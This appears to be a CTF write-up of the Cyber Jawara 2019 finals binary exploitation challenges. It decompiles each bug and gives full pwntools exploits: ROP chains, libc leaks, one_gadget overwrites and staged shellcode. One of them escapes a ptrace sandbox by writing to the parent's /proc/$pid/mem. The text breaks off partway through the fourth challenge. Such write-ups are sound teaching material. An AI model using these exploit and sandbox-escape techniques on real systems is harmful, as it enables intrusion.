Cyber Jawara 2019 Finals Binary Exploitation Write Up

by on under writeup
pwn, cyber jawara, ctf
61 minute read

Untuk bahasa Indonesia, silakan klik link ini

English

On September 7th 2019, the qualifying round for the annual national security competition Cyber Jawara was held. My team ended up in position 13, however the amount of teams that pass to the finals is usually 10. However, this year luckily 16 teams were brought to the finals (whew).

During the finals, we were presented with 8 problems, 4 web hacking and 4 binary exploitation. In this post, I will be explaining how to solve the binary exploitation problems. All files can be found here.

Note

These problems were very difficult. I myself only solved 2 during the competition, but mostly due to not having the right environment to pwn the problems. All the challenges were running on Ubuntu 18.10, and in writing this post I too will be using Ubuntu 18.10. (During the CTF I was using Ubuntu 19.04)

1. Warshall

Upon running the binary, we are presented with a menu like the photo below. The program allows us to simulate a shortest path finding algorithm, through citys and roads that we can determine.

Example testcase:

A B 2
A C 5
B C 2

The shortest path between A and C should be 4. The algorithm used is the Floyd-Warshall algorithm, hence the name of the challenge.

== Shortest Path Finder ==

1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: A
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: B
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: C
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: A
Insert city 2: B
Road distance (in km): 2
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: A
Insert city 2: C
Road distance (in km): 5
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 2
Insert city 1: B
Insert city 2: C
Road distance (in km): 2
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 3
Insert city 1: A
Insert city 2: C
Shortest path from A to C: 4km
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
>

The Bug

Before going into the bug, it is best to know how the Floyd-Warshall algorithm works. You can read more about it here

The Floyd-Warshall algorithm in the program uses an array of size 100 to store the names of the cities, and an array of size 10000 to store the roads. The bug lies in the fact there is an overflow in the add city function:

printf("City name: ");
fgets(local_118,0x100,stdin);
strtok(local_118,"\n");
iVar1 = check_if_city_exists(local_118);
if (iVar1 < 0) {
  lVar2 = (long)num_of_city;
  num_of_city = num_of_city + 1;
  strcpy(&name_of_city + lVar2 * 0x100,local_118);
}
else {
  puts("City already exists!");
}

The program doesn’t check whether or not 100 cities have been added. This itself doesn’t lead to any information leaks or writes, but it does lead to the second bug, which is an overflow in the roads array. Unlike the name_of_city array, The roads array is located in the stack. Since we can get an overflow, we can overwrite the return address of the handle function to gain RCE.

Information leak

Before I continue, I must state that during the CTF I jumped to the system function in order to gain RCE. I tried beforehand to use a libc one_gadget, but for some reason (I was just dumb, it wasn’t because of the constraints), it wasn’t working. Later in the second challenge, it did work.

Since the protection PIE was activated, we need a executable area leak. Since the handle function is called by the main function, its return address is a part of the executable area. With an executable area leak, we can easily get a libc leak with the puts PLT, and then jump to system.

An information leak can be gotten using the “find shortest path” function. Since every undefined road between cities was set to have infinite length (technically), the return address should most of the time have a shorter length compared to undefined roads. See below:

printf("Insert city 1: ");
fgets(local_218,0x100,stdin);
strtok(local_218,"\n");
iVar1 = check_if_city_exists(local_218);
if (iVar1 == -1) {
  puts("City not exists!");
}
else {
  printf("Insert city 2: ");
  fgets(local_118,0x100,stdin);
  strtok(local_118,"\n");
  iVar2 = check_if_city_exists(local_118);
  if (iVar2 == -1) {
    puts("City not exists!");
  }
  else {
    if (road_array[(long)iVar1 * 100 + (long)iVar2] == 1000000000) {
      printf("No path from %s to %s\n",local_218,local_118);
    }
    printf("Shortest path from %s to %s: %dkm\n",local_218,local_118,
           (ulong)road_array[(long)iVar1 * 100 + (long)iVar2]);
  }
}

There is no check whether or not the iVar1 or iVar2 is less than 100, thus with a specific input we can get the return address value. Note: The shortest path was represented as a 32-bit integer, thus we need to leak 2 times

list_names = []
for i in range(100):
  list_names.append(''.join([random.choice(string.ascii_lowercase) for j in range(10)]))
  create_city(list_names[i])

# Overflow
create_city('pwner')


## EXEC LEAK
short_path('pwner', list_names[51])
p.recvuntil(": ")
l = struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

short_path('pwner', list_names[50])
p.recvuntil(": ")
l +=  struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

l = int(l, 16)
exec_base = l - 0x96b
print "EXEC BASE LEAK"
print hex(exec_base)

Error

Writing the ROP chain

The “Build direct road” function allows us to write values into the road array. Since we can overflow into the return address (without affecting the stack canary), we can also write values that we need into it.

We need to write two chains, one to call puts with puts got as the parameter (to get libc leak), and another to call system and get full RCE.

Note: In my experience, ever since libc 2.27, the second parameter of the system function must be set to NULL in order to call system without a segmentation fault. That is why there are multiple zeros put into the ropchain.

Below is my full exploit:



from pwn import *
import string
import random

p = process('./warshall')

def create_city(name):
  p.sendlineafter('>', '1')
  p.sendlineafter('name:', name)

def build_road(city1, city2, distance):
  p.sendlineafter('>', '2')
  p.sendlineafter('1:', city1)
  p.sendlineafter('2:', city2)
  p.sendlineafter('):', distance)

def short_path(city1, city2):
  p.sendlineafter('>', '3')
  p.sendlineafter('1:', city1)
  p.sendlineafter('2:', city2)

def end():
  p.sendlineafter('>', '4')

list_names = []
for i in range(100):
  list_names.append(''.join([random.choice(string.ascii_lowercase) for j in range(10)]))
  create_city(list_names[i])

# Overflow
create_city('pwner')


## EXEC LEAK
short_path('pwner', list_names[51])
p.recvuntil(": ")
l = struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

short_path('pwner', list_names[50])
p.recvuntil(": ")
l +=  struct.pack("<i", int(p.recvuntil("km")[:-2]))[::-1].encode('hex')

l = int(l, 16)
exec_base = l - 0x96b
print "EXEC BASE LEAK"
print hex(exec_base)

pop_rdi = exec_base + 0x1273
pop_rsi_r15 = exec_base + 0x1271
just_ret = exec_base + 0x1274
main = exec_base + 0x11f1
puts_got = exec_base + 0x201f98
puts_plt = exec_base + 0x790


# WRITE TIME

build_road('pwner', list_names[6], str(pop_rdi & 0xffffffff))
build_road('pwner', list_names[7], str((pop_rdi>>32) & 0xffffffff))

build_road('pwner', list_names[8], str(puts_got & 0xffffffff))
build_road('pwner', list_names[9], str((puts_got>>32) & 0xffffffff))

build_road('pwner', list_names[10], str(puts_plt & 0xffffffff))
build_road('pwner', list_names[11], str((puts_plt>>32) & 0xffffffff))

build_road('pwner', list_names[12], str(main & 0xffffffff))
build_road('pwner', list_names[13], str((main>>32) & 0xffffffff))

end()

## LIBC LEAK
l = int(p.recvuntil('\x7f')[-6:][::-1].encode('hex'), 16)

libc_base = l - 0x81010
system_address = libc_base + 0x50300
bin_sh_address = libc_base + 0x1aae80

print hex(system_address)



build_road('pwner', list_names[6], str(pop_rdi & 0xffffffff))
build_road('pwner', list_names[7], str((pop_rdi>>32) & 0xffffffff))

build_road('pwner', list_names[8], str(bin_sh_address & 0xffffffff))
build_road('pwner', list_names[9], str((bin_sh_address>>32) & 0xffffffff))

build_road('pwner', list_names[10], str(pop_rsi_r15 & 0xffffffff))
build_road('pwner', list_names[11], str((pop_rsi_r15>>32) & 0xffffffff))

build_road('pwner', list_names[12], str(0))
build_road('pwner', list_names[13], str(0))
build_road('pwner', list_names[14], str(0))
build_road('pwner', list_names[15], str(0))

build_road('pwner', list_names[16], str(system_address & 0xffffffff))
build_road('pwner', list_names[17], str((system_address>>32) & 0xffffffff))

end()

p.interactive()
p.close()

Error

:)




2. Midas

Midas was probably the challenge I hated the most. The problem was based on the coin change problem, where we can specify what coins we have and the amount we wish to calculate. The program will print the number of ways to achieve said amount using the coins we inputted.

== MIDAS - How many ways we can make the change? ==

1) Init coins
2) Compute
3) Exit
Choice: 1
Number of coins: 3
Insert nominal 1: 1
Insert nominal 2: 3
Insert nominal 3: 4

1) Init coins
2) Compute
3) Exit
Choice: 2
Insert desired value: 6
We can change 6 with 4 ways

1) Init coins
2) Compute
3) Exit
Choice:

The Bug

Before going into the bug, it is best to know how the coin change algorithm works. You can read more about it here

Below is the decompilation of handler.

undefined coins [1200];
undefined amounts [12008];
puts("== MIDAS - How many ways we can make the change? ==");
while( true ) {
    while( true ) {
        while( true ) {
            puts("");
            puts("1) Init coins");
            puts("2) Compute");
            puts("3) Exit");
            printf("Choice: ");
            choice = read_int();
            if (choice != 1) break;
            number_of_coins = input_coins(coins);
        }
        if (choice != 2) break;
        calculate_ways(coins,amounts,12000,(ulong)number_of_coins);
        }
    if (choice == 3) break;
    puts("Invalid Choice!");
}

As you can see, there are two functions that will be used in the coin change algorithm calculation. Below is the decompilation of both functions.

input_coins:

printf("Number of coins: ");
number_of_coins = read_int();
if ((int)number_of_coins < 0x12d) {
    i = 0;
    while (i < number_of_coins) {
        printf("Insert nominal %d: ",(ulong)(i + 1));
        nominal = read_int();
        if ((nominal < 1) || (3000 < nominal)) {
            printf("Please insert a number with valid range (1-%d)\n",3000);
            *(int *)((ulong)i * 4 + param_1) = nominal;
            if (*(int *)(param_1 + (ulong)i * 4) == 0) break;
        }
        else {
        *(int *)((ulong)i * 4 + param_1) = nominal;
        }
        i = i + 1;
    }
    return_value = (ulong)number_of_coins;
}
else {
    printf("Maximum number of coins is %d!\n",300);
    return_value = 0;
}
return return_value;

calculate_ways:

memset(param_2,0,(ulong)param_3);
*param_2 = 1;
printf("Insert desired value: ");
value = read_int();
i = 0;
while (i < param_4) {
    j = *(uint *)(param_1 + (ulong)i * 4);
    while (j <= value) {
        param_2[j] = param_2[j - *(int *)(param_1 + (ulong)i * 4)] + param_2[j];
        j = j + 1;
    }
    i = i + 1;
}
printf("We can change %d with %d ways\n",(ulong)value,(ulong)(uint)param_2[value]);
return;

The maximum number of coins is 300, which is the exact amount ((1200)/4 == 300). So no overflow there. However, whats really interesting is the calculate_ways function. There is no bounds check so we can calculate the number of ways to achieve any amount. The result is stored at param_2(amounts array) + amount, so we have an out of bounds write.

With this out of bounds access we can get a exec leak, libc leak, and we can overwrite the return address of the handler function.

Information leak

In this challenge, I used a one_gadget in order to gain RCE. It turns out I just had bad offsets in the last challenge. Oh well ¯\_(ツ)_/¯.

In order to get a exec leak, all I did was run the calculate ways function twice, at offset 3006 and 3007. This is the return value of the handler function. Since it’s meant to return to main, it’s value is an executable area address.

Exec leak actually isn’t important when I want to run a libc value, but I got it anyways. A libc leak can be achieve in the same way but using offset’s 3010 and 3011

    compute(3011)
    p.recvuntil("with ")
    l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

    compute(3010)
    p.recvuntil("with ")
    l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
    l = int(l, 16)
    print hex(l)

    libc_base = l - 0x2409b
    one_gadget = libc_base + 0x50186


    compute(3007)
    p.recvuntil("with ")
    l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

    compute(3006)
    p.recvuntil("with ")
    l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
    l = int(l, 16)
    print hex(l)

    exec_leak = l

Error

Overwriting return address

This part was the hard part. Since I’m not that amazing at algorithms, I just did trial and error for a while until I found a good way to write values. After awhile I noticed that the memset doesn’t reset the return address (duh), so instead of one big write I could slowly add values until I I’m satisfied. I have to use factors of 3006 and 3007, and adding more than one coin of it’s factor helps to increase value’s faster.

It was truly brute force heavy, I wish I could’ve studied algorithms a bit more :(

Here’s is my full exploit. Mind the while(True), I used that because I hoped the address between the one_gadget and the exec leak would be positive small (i.e. less than 300000000).



from pwn import *



def init_coins(num, coins):
  p.sendlineafter("Choice:", '1')
  p.sendlineafter("coins:", str(num))
  for i in coins:
    p.sendlineafter(":", str(i))

def compute(num):
  p.sendlineafter("Choice:", '2')
  p.sendlineafter("value:", str(num))

def end():
  p.sendlineafter("Choice:", '3')


while(True):
  p = process('./midas')
  compute(3011)
  p.recvuntil("with ")
  l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

  compute(3010)
  p.recvuntil("with ")
  l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
  l = int(l, 16)
  print hex(l)

  libc_base = l - 0x2409b
  one_gadget = libc_base + 0x50186


  compute(3007)
  p.recvuntil("with ")
  l = struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')

  compute(3006)
  p.recvuntil("with ")
  l += struct.pack("<i", int(p.recvuntil("ways")[:-4]))[::-1].encode('hex')
  l = int(l, 16)
  print hex(l)

  exec_leak = l


  one_gadget_part_1 = one_gadget & 0xffffffff
  ret_address_part_1 = exec_leak & 0xffffffff
  one_gadget_part_2 = (one_gadget>>32) & 0xffffffff
  ret_address_part_2 = (exec_leak>>32) & 0xffffffff


  temp = (one_gadget_part_1 - ret_address_part_1)
  print temp

  if(temp > 300000000 or temp < 0):
    p.close()
    continue
  init_coins(4, [9 for i in range(4)])
  while(one_gadget_part_1 > ret_address_part_1 + 6322120):
    compute(3006)
    ret_address_part_1 += 6322120

  print "HOPE"

  init_coins(3, [9 for i in range(3)])
  while(one_gadget_part_1 > ret_address_part_1 + 56280):
    compute(3006)
    ret_address_part_1 += 56280

  print "HOPE"

  init_coins(2, [9 for i in range(2)])
  while(one_gadget_part_1 > ret_address_part_1 + 335):
    compute(3006)
    ret_address_part_1 += 335

  print "HOPE"

  init_coins(1, [9])
  while(one_gadget_part_1 != ret_address_part_1):
    compute(3006)
    ret_address_part_1 += 1

  print "HOPE"

  init_coins(2, [31 for i in range(2)])
  while(one_gadget_part_2 > ret_address_part_2 + 98):
    compute(3007)
    ret_address_part_2 += 98

  print "HOPE"

  init_coins(1, [31])
  while(one_gadget_part_2 != ret_address_part_2):
    compute(3007)
    ret_address_part_2 += 1

  end()
  p.interactive()
  p.close()

Error

Yay!




3. Kreis

Before I continue, for the last two problems I will base my solution according to this list:
* Flag is not read protected and it’s name is flag/flag.txt
* Flag is not read protected and it’s name is random
* Flag is read protected, must get RCE.

Kreis was a shellcode based sandbox problem. Decompilation of the binary is as below.

void main(void)

{
  code *__addr;
  
  setup();
  puts("Shellcode:");
  __addr = (code *)mmap((void *)0x0,0xb,7,0x21,-1,0);
  fgets((char *)__addr,0xb,stdin);
  mprotect(__addr,0xb,5);
  (*__addr)();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

As you can see, initially the binary mmaps a random location with rwx permissions. We can write up to 10 bytes into it, and then the protection changes with mprotect to r-x. This means we have 10 bytes of shellcode we can abuse.

10 bytes isn’t much, so my first goal was to find a way to enter more shellcode. By looking into the registers right before my shellcode is called, I see r12 has a very specific value

Error

0x4005f0 is the value of _start, which is very useful for us, this means we have a way to jump back into the beginning of the binary in order to create another 10 bytes of shellcode. Since I didn’t want to pollute the stack too much (I use the stack later), I decided to change the value of r12 to main, which is at offset 0x10c from _start. Then all I have to do is jump back into main. So, this is my first payload (The 10 at the top left is the length of shellcode):

10
   0:   49 81 c4 0c 01 00 00    add    r12, 0x10c
   7:   41 54                   push   r12
   9:   c3                      ret

Now that we can write infinitly many shellcodes of length 10, how do we get more? I broke this problem down into two parts, getting a larger rwx memory location, writing to it and then jumping to it.

Mprotect

Since the main function has a call to mprotect, the function in question should be in the the PLT.

Error

The PLT is behind _start, so we need to sub a register. Besides r12, it seems r13, r14, and r15 all do not change values from our loop. So I moved r12’s value to r13, and subbed it with the correct offset.

6
   0:   41 54                   push   r12
   2:   4d 89 e5                mov    r13, r12
   5:   c3                      ret
10
   0:   41 54                   push   r12
   2:   49 81 ed f0 00 00 00    sub    r13, 0xf0
   9:   c3                      ret
7
   0:   41 54                   push   r12
   2:   49 83 ed 3c             sub    r13, 0x3c
   6:   c3                      ret

Now, all we need to do is setup the function parameters. Since this is a 64-bit binary, the function parameters are located in rdi, rsi, rdx, rcx, r8, and r9 respectively. We only need three, so I just need to setup rdi, rsi, and rdx. To accomplish this, I pushed the values into the stack and then popped them. The reason for that is because pop rdi, pop rsi, and pop rdx are instructions with a length of 1 byte.

8
   0:   58                      pop    rax
   1:   58                      pop    rax
   2:   58                      pop    rax
   3:   6a 07                   push   0x7
   5:   41 54                   push   r12
   7:   c3                      ret
10
   0:   58                      pop    rax
   1:   58                      pop    rax
   2:   5f                      pop    rdi
   3:   5e                      pop    rsi
   4:   5a                      pop    rdx
   5:   41 54                   push   r12
   7:   41 ff e5                jmp    r13

The pop rax’s were used to setup the stack in the perfect condition. This leads to a long rwx area.

Error

Writing to the new rwx memory

The way the binary calls the shellcode is as below.

00400753 48 89 c7        MOV        RDI,RAX
00400756 e8 55 fe        CALL       fgets    
         ff ff
0040075b 48 8b 45 f8     MOV        RAX,qword ptr [RBP + local_10]
0040075f ba 05 00        MOV        EDX,0x5
         00 00
00400764 be 0b 00        MOV        ESI,0xb
         00 00
00400769 48 89 c7        MOV        RDI,RAX
0040076c e8 5f fe        CALL       mprotect  
         ff ff
00400771 48 8b 55 f8     MOV        RDX,qword ptr [RBP + local_10]
00400775 b8 00 00        MOV        EAX,0x0
         00 00
0040077a ff d2           CALL       RDX

This means the address of the mmapped memory is in rdx. According to gdb, this value is close to the area we changed to rwx just before.

Error

So I moved this value into r13, and added r13 with the appropriate value.

6
   0:   41 54                   push   r12
   2:   49 89 d5                mov    r13, rdx
   5:   c3                      ret
10
   0:   41 54                   push   r12
   2:   49 81 c5 00 00 20 00    add    r13, 0x200000
   9:   c3                      ret

Now I just need to setup a read syscall with 10 bytes. Again, I used the stack to my advantage.

10
   0:   4c 89 ee                mov    rsi, r13
   3:   5a                      pop    rdx
   4:   5f                      pop    rdi
   5:   57                      push   rdi
   6:   0f 05                   syscall 
   8:   ff e6                   jmp    rsi

Now I can create an very long shellcode.

Sandbox

At this point, it may seem like creating an execve shellcode isn’t too far away, but I haven’t even talked about the sandbox binary. The challenge actually presents us with 2 binaries, kreis and sandbox. The binary I just talked about above was the kreis binary, however the service actually will run ./sandbox kreis. Here’s the decompilation of the main function in sandbox.

init(param_1);
if ((int)param_1 < 2) {
    fprintf(stderr,"Run: %s [program]\n",*param_2);
    uVar2 = 0xffffffff;
}
else {
    uVar1 = fork();
    if (uVar1 == 0) {
        run_target(param_2[1]);
    }
    else {
        if ((int)uVar1 < 1) {
        fwrite("Fork error",1,10,stderr);
        return 0xffffffff;
    }
    run_debugger((ulong)uVar1);
    }
    uVar2 = 0;
}
return uVar2;

fork is a function that clones the current process. Everything is the same between the parent and the child, except for a few exceptions. The return value that it gives is the child process ID for the parent, and 0 for the child. This means, the child will be the process that runs the run_target function.

Below is the decompilation of the run_target function

lVar1 = ptrace(PTRACE_TRACEME,0,0,0);
if (lVar1 < 0) {
    fwrite("Error ptrace\n",1,0xd,stderr);
}
else {
    execl(param_1,param_1,0);
}
return;

Since the argv[1] is kreis, the child process will be running kreis.

There is also a run_debugger function which basically tracks how the child process is running. This is done by setting up ptrace and waitpid functions. The most notable is this block of code.

    if ((local_f8 & 0xff) != 0x7f) goto LAB_00100d63;
    uVar1 = (int)local_f8 >> 8;
    if ((uVar1 & 0xff) < 0x21) break;
    ptrace(PTRACE_GETREGS,(ulong)param_1,0,local_e8);
    local_ec = (int)local_70;
    if ((local_ec == 0x3b) || (local_ec == 0x142)) {
        puts("[Sandbox] Forbidden syscall detected. Kill the program.");
        kill_process((ulong)param_1);
LAB_00100d63:
        exit(0);
    }

This block of code tracks what syscall is being used the the ptraced process, and accordingly it blocks the 0x3b and 0x142 syscall. According to this, 0x3b is execve and 0x142 is execveat.

This means we can’t call execve and get RCE :(

According to the list above, I can only pass the first 2 lists elements:
✓ 1. Flag is not read protected and it’s name is flag/flag.txt
✓ 2. Flag is not read protected and it’s name is random
✗ 3. Flag is read protected, must get RCE.

Getting RCE

During my upsolve, I have tried multiply attempts to gain RCE. I’ll will be explaining all of them, and if I can, explain why they did work and didn’t work

1. Change to 32-bit mode (fail)
After searching online for possible seccomp bypasses, I stumbled accross this post. Basically, there is a way to invoke 32-bit syscalls in a 64-bit process. By abusing the retf instruction, we can change the cs register value as well as the instruction pointer. When the cs register has value 0x33, it means the process will run in 64-bit mode, while if the value is 0x23, the process can run in 32 bit mode. By mmaping in a 32-bit area of memory, we can setup this sort of shellcode.

Since in 32-bit the syscall value is 0xb instead of 0x3b, we should be able to invoke an execve shellcode and gain RCE. However, after setting this up, the ptrace still detects illegal syscall, and kills the process. My guess is that because the parent process is running in 64-bit mode, the syscall it reads is still 0x3b.

2. Use x32 ABI syscalls (fail)
Besides changing to 32-bit (x86) mode, we can also use another trick, which is the x32 ABI syscalls. I discovered this technique from this post, where he used x32’s open syscall to read the flag. The full x32 ABI syscall list can be found here. Note, the way to read that syscall list is 64 -> only x86-64, x32 -> only x32, common -> both x86-64 and x32

Combining what we know now, using 0x40000208, as the value for eax, execve should be invoked, and the parent process should catch it as 0x40000208. Sadly, this syscall doesn’t work on my docker environment. I’ll try to find a fix later.

3. Write to /proc/$pid/mem (success)
The last thing I tried was the /proc/$pid/mem file. This file (abstractly) contains the entire program memory of a certain process during runtime. This file is writable, which means we can write whatever we what to a certain processes program memory even during runtime. This way, we can write shellcode, change pointers, and many more just by writing to this file.

My idea was as so, write to the parent processes (this being the sandbox binary) program memory and call execve using a one_gadget.

First, we need to know what the parent processes PID is. This can be done by reading the /proc/self/stat file of the child process. The fourth number is the PPID (It’s actually the second, but lol it worked for me, atleast locally, I believe remotely it should be the second).

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/self/stat')
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0x200)
sc += shellcraft.write(1, 'rsp', 0x200)

sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

## PPID LEAK
p.recvuntil('R ')
p.recvuntil(' ')
p.recvuntil(' ')
PPID = int(p.recvuntil(' '))
print PPID

Second, I need to get the parent processes memory mapping. This can be done by reading the /proc/$pid/maps file.

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/{}/maps'.format(PPID))
sc += shellcraft.open('rsp', 0, 0)
sc += shellcraft.read('rax', 'rsp', 0xa00)
sc += shellcraft.write(1, 'rsp', 0xa00)

sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

p.recvuntil('sandbox')
sandbox_base = int(p.recvuntil('-')[:-1], 16)
offset_to_change = sandbox_base + 0xfb0
print hex(offset_to_change)
p.recvuntil('sandbox')
p.recvuntil('sandbox')
libc_base = int(p.recvuntil('-')[:-1], 16)
print hex(libc_base)

one_gadget = libc_base + 0x103f50

Third, open the /proc/$pid/mem file and write a one_gadget to the exit GOT. Call a forbidden syscall in the child, which should kill the child and execute exit, which in this case is the one gadget.

sc = '''
mov rax, 0
mov rdi, 0
mov rsi, r13
mov rdx, 0x1000
syscall
'''
sc += shellcraft.pushstr('/proc/{}/mem'.format(PPID))
sc += shellcraft.open('rsp', 2, 0)
sc += '''
mov r14, rax
mov rax, 8
mov rdi, r14
mov rsi, {}
mov rdx, 1
syscall

mov rdi, {}
push rdi
mov rax, r14
'''.format(offset_to_change, one_gadget)
sc += shellcraft.write('rax', 'rsp', 8)
sc += shellcraft.close('r14')
sc += '''
jmp r13
'''
shellcode = '\x90'*80 + asm(sc).ljust(0x200, '\x90')
p.sendline(shellcode)

Error

Success!




4. Ziel

Ziel was the last challenge that we were presented. Being the last one, it was also the hardest (Not really, kreis was harder :P). The program is a sort of life simulator, where we can spawn new life and it will “walk” in the set direction and set speed. When two lifeforms crash, they both die. There are lots more functions, you can download and try the program out for yourself here. The program is compiled with PIE on, so we have no indicator for where any data is located.

- World:
----------------------
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
----------------------
- Choose an action:
1. Next
2. Spawn
3. Kill
4. Save
5. Load
6. Restart
7. Quit
> 

With lifeforms:

- World:
----------------------
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                b   |
|                    |
|                    |
|                    |
|            a       |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
|                    |
----------------------
- Choose an action:
1. Next
2. Spawn
3. Kill
4. Save
5. Load
6. Restart
7. Quit
> 

The Bug

The bug is located in the kill function. Below is the decompilation of the kill function.

int kill(__pid_t __pid,int __sig)
{
  int iVar1;
  int iVar2;
  uint uVar3;
  
  puts("");
  puts("- Input location.");
  printf("X: ");
  iVar1 = read_int();
  printf("Y: ");
  iVar2 = read_int();
  if ((((iVar1 < 0) || (iVar2 < 0)) || (width <= iVar1)) || (height <= iVar2)) {
    uVar3 = puts("Invalid location.");
  }
  else {
    uVar3 = (uint)*(ushort *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2);
    if ((*(ushort *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2) != 2) &&
       (uVar3 = (uint)*(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8),
       *(long *)(layout_addresses + (long)(iVar1 + width * iVar2) * 8) != 0)) {
      free(*(void **)(layout_addresses + (long)(iVar1 + width * iVar2) * 8));
      uVar3 = 0x5575b060;
      *(undefined2 *)(&temp_alive_dat + (long)(iVar1 + width * iVar2) * 2) = 2;
    }
  }
  return (int)uVar3;
}

Basically, the kill function free’s the memory in the heap, and marks the pointer with ‘2’ (which means dead). However, the pointer itself isn’t actually zeroed out until the user runs the next function. However, we can’t free the pointer twice since there is a check to prevent killing lifeforms that are already marked with ‘2’.

However, this check is not present in the restart function.

void restart(void)
{
  int local_c;
  
  puts("");
  puts("Restarting.");
  local_c = 0;
  while (local_c < 0x800) {
    if (*(long *)(layout_addresses + (long)local_c * 8) != 0) {
      free(*(void **)(layout_addresses + (long)local_c * 8));
      *(undefined8 *)(layout_addresses + (long)local_c * 8) = 0;
    }
    local_c = local_c + 1;
  }
  puts("Done.");
  puts("");
  return;
}

So, the kill function combined with the restart function leads to a double free’d pointer.

The save code

Before the menu prompt, there actually is a read save code prompt. Here’s an example:

============================================================
=                  World Simulator v3.0.5                  =
============================================================

- Input a save code. If you don't have any just press enter.
Save code: 

- Please set your world size.
Width: 

This prompt is called everytime the program is started and everytime the restart function is called. Below is the decompilation of reading the save code.

undefined8 get_save_file(void)
{
  int iVar1;
  char local_a;
  char local_9;
  
  puts("- Input a save code. If you don\'t have any just press enter.");
  printf("Save code: ");
  save_code = malloc(0x40);
  memcpy(save_code,"/tmp/",5);
  local_a = '\x05';
  while( true ) {
    iVar1 = getchar();
    local_9 = (char)iVar1;
    if (local_9 == '\n') {
      *(undefined *)((long)local_a + (long)save_code) = 0;
      return 1;
    }
    if (((local_9 < 'A') || ('z' < local_9)) || ((local_9 < 'a' && ('Z' < local_9)))) break;
    *(char *)((long)save_code + (long)local_a) = local_9;
    local_a = local_a + '\x01';
    if ('?' < local_a) {
      return 1;
    }
  }
  puts("Invalid save code. Only alphabets allowed.");
  puts("");
  while (local_9 != '\n') {
    iVar1 = getchar();
    local_9 = (char)iVar1;
  }
  free(save_code);
  return 0;
}

By default, the program creates a save code in which the save code will be located at /tmp/. The program also checks that the code name only has letters, no numbers or special characters. So, we cannot do directory traversal.

However, using the double free vulnerabity from before, we can abuse the save code.

Getting LFI read

You might be thinking, why not just abuse tcache and get RCE that way? Well, for one, the structure of a lifeform prohibits that from happening. Below is the roughly the structure of a lifeform.

struct lifeform
{
  char name; // yes a single char
  int vel_x;
  int vel_y;
  char[] desc; // this is not a pointer, it's the array of chars
};

As you can see, we can’t just change the fd pointer of a chunk right away, we need to find another way. Before that, LFI!

So let’s say we get a double free for the chunk size from malloc(0x40), how can that get us a local file inclusion read? Well, here is the decompilation of the save function.

void save(void)
{
  char *__filename;
  FILE *__stream;
  int local_20;
  int local_1c;
  
  __filename = (char *)malloc(0x40);
  memcpy(__filename,"/tmp/",5);
  local_1c = 5;
  local_20 = 0;
  while (local_20 < 0x800) {
    if (((*(long *)(layout_addresses + (long)local_20 * 8) != 0) &&
        ('\x1f' < **(char **)(layout_addresses + (long)local_20 * 8))) &&
       (**(char **)(layout_addresses + (long)local_20 * 8) != '\x7f')) {
      __filename[local_1c] = **(char **)(layout_addresses + (long)local_20 * 8);
      local_1c = local_1c + 1;
      if (0x3f < local_1c) break;
    }
    local_20 = local_20 + 1;
  }
  __filename[local_1c] = '\0';
  __stream = fopen(__filename,"w");
  if (__stream != (FILE *)0x0) {
    local_20 = 0;
    while (local_20 < 0x800) {
      if (((*(long *)(layout_addresses + (long)local_20 * 8) != 0) &&
          ('\x1f' < **(char **)(layout_addresses + (long)local_20 * 8))) &&
         (**(char **)(layout_addresses + (long)local_20 * 8) != '\x7f')) {
        if (**(char **)(layout_addresses + (long)local_20 * 8) == ' ') {
          fputc(0x20,__stream);
        }
        fputc((int)**(char **)(layout_addresses + (long)local_20 * 8),__stream);
      }
      local_20 = local_20 + 1;
    }
    fclose(__stream);
  }
  return;
}

Oh boy that looks messy, well to break it down, basically we can save to a file, and the filename is purely a combination of all the name’s of the current lifeforms we have. The maximum filename length is 0x40, and may only consist of characters in the range 0x20-0x7e (space until tilda), which means we can possibly do directory traversal. Another thing that is interesting is that the size of the malloc is the same size as the one used to create the initial save code.

Using the double free vulnerability, we can make the save code and the save function’d file point to the same chunk, thus pointing to the same string.

Below is the decompilation of the load function.

void load(void)
{
  char cVar1;
  int iVar2;
  FILE *__stream;
  void *pvVar3;
  int local_14;
  
  __stream = fopen(save_code,"r");
  if (__stream != (FILE *)0x0) {
    local_14 = 0;
    while( true ) {
      iVar2 = _IO_getc((_IO_FILE *)__stream);
      cVar1 = (char)iVar2;
